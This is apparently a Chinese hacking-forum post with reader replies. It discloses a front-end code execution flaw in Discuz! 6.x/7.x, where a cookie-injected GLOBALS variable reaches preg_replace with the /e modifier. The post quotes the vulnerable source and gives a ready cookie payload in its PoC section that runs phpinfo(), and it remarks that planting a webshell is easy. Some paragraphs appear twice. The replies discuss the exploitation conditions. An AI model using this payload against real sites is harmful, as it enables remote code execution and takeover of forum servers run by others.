Discuz! 6.x/7.x 版本 前台任意代码执行漏洞(献给6岁的T00ls)
注:
漏洞被发现好久好久了,至少80vul的文章已经发表四年多了。时间过去这么久,也没人提,以为这个版本也被人淡忘了。
既然在乌云里发布了,脚本漏洞本是T00ls的老本行,强身健体之本,焉有不发之理?
但是呢,还是想说一句:挖漏洞不易,藏漏洞更不易;且暴且珍惜。
一、漏洞原理:
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
include/global.func.php代码里:include/common.inc.php里:模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少:(
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:这样就没法提交GLOBALS变量了么?
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了:)
二、漏洞位置一
[HIDE]
三、漏洞位置二
include/discuzcode.func.php119行 :四、POC
访问一个存在的帖子,需要访问的页面有表情。
例如:http://192.168.0.222/bbs/viewthread.php?tid=12&extra=page%3D1
然后刷新帖子,拦截数据包,cookie中添加如有漏洞,即可看到效果.
写个shell 自然也不是问题了~
参考:
漏洞被发现好久好久了,至少80vul的文章已经发表四年多了。时间过去这么久,也没人提,以为这个版本也被人淡忘了。
既然在乌云里发布了,脚本漏洞本是T00ls的老本行,强身健体之本,焉有不发之理?
但是呢,还是想说一句:挖漏洞不易,藏漏洞更不易;且暴且珍惜。
一、漏洞原理:
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
include/global.func.php代码里:
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);//变量引入000111222
}
}
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了:)
二、漏洞位置一
[HIDE]
三、漏洞位置二
include/discuzcode.func.php
function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowattachurl;
if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[ /code]') || strpos($message, '[ /CODE]')) !== FALSE) {
$message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message);
}
$msglower = strtolower($message);
//$htmlon = $htmlon && $allowhtml ? 1 : 0;
if(!$htmlon) {
$message = $jammer ? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspecialchars($message);
}
if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smilies'])) {
if(!$discuzcodes['smiliesreplaced']) {
foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
$GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />';
}
$discuzcodes['smiliesreplaced'] = 1;
}
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
}
......
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies); //让 preg_replace 加上/e 修正符,产生代码执行
访问一个存在的帖子,需要访问的页面有表情。
例如:http://192.168.0.222/bbs/viewthread.php?tid=12&extra=page%3D1
然后刷新帖子,拦截数据包,cookie中添加
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
写个shell 自然也不是问题了~
参考:
评论272次
nice,收了。。。
条件:request_order = "GP"
正解,唯一条件,要且只要。与其他都无关。
条件: request_order = "GP"
看了一下 楼主这个利用wapmsg的思路不错,但是根本没法用,主要受addslashes函数的限制,无法使双引号闭合,没法执行代码。如果有方法,请楼主私信我~主要思路就是绕开addslashes的限制1.必须得有前缀是'_'的变量才可以(查看了下所有wapmsg调用的位置,没有外部传入,写死的消息也没有下划线开头)。2.或者extract($GLOBALS, EXTR_SKIP);的第二个参数为覆盖(如果可以覆盖,就直接重写message,这样就可以绕开addslashes的逻辑)。但是整个漏洞严重依赖php的两个配置(有一个还是默认的,一般都不会去改,除非网站管理闲的蛋疼)所以这个漏洞基本没啥用。
自己先弄懂了再提问。 没测试成功,没用几年,不会发此贴。 最后那句话更有严重问题,此漏洞唯一的利用条件是PHP5.3+,你说最后那句话,说明你根本不了解早期的Discuz!。
看来管理藏着很多0day
虽说现在用DZ 6 7的少的 不过还是了解一下的
看了一下 楼主这个利用wapmsg的思路不错,但是根本没法用,主要受addslashes函数的限制,无法使双引号闭合,没法执行代码。 如果有方法,请楼主私信我~ 主要思路就是绕开addslashes的限制 1.必须得有前缀是'_'的变量才可以(查看了下所有wapmsg调用的位置,没有外部传入,写死的消息也没有下划线开头)。 2.或者extract($GLOBALS, EXTR_SKIP);的第二个参数为覆盖(如果可以覆盖,就直接重写message,这样就可以绕开addslashes的逻辑)。 但是整个漏洞严重依赖php的两个配置(有一个还是默认的[register_globals=off],一般都不会去改,除非网站管理闲的蛋疼)所以这个漏洞基本没啥用。
可耻的回复可见~但必须看,顶
赞一个 不知道还有吗???
eval("\$message = \"".$lang[$message]."\";");//执行...T00ls.Net php的addslashes会双引号转义,求绕过这个的方式。
祝T00LS生日快乐!虽然这个是wooyun公开到普通的那个!
看下~~~~
include/discuzcode.func.php 119行 :
脚本漏洞还是看t00ls
香港台湾那边6.x 7.x多吧
学xi一下。感谢老君
学xi~学xi
祝吐司生日快乐,很久没来了
先祝土司生快
楼主,真的是你爆出来的嘛?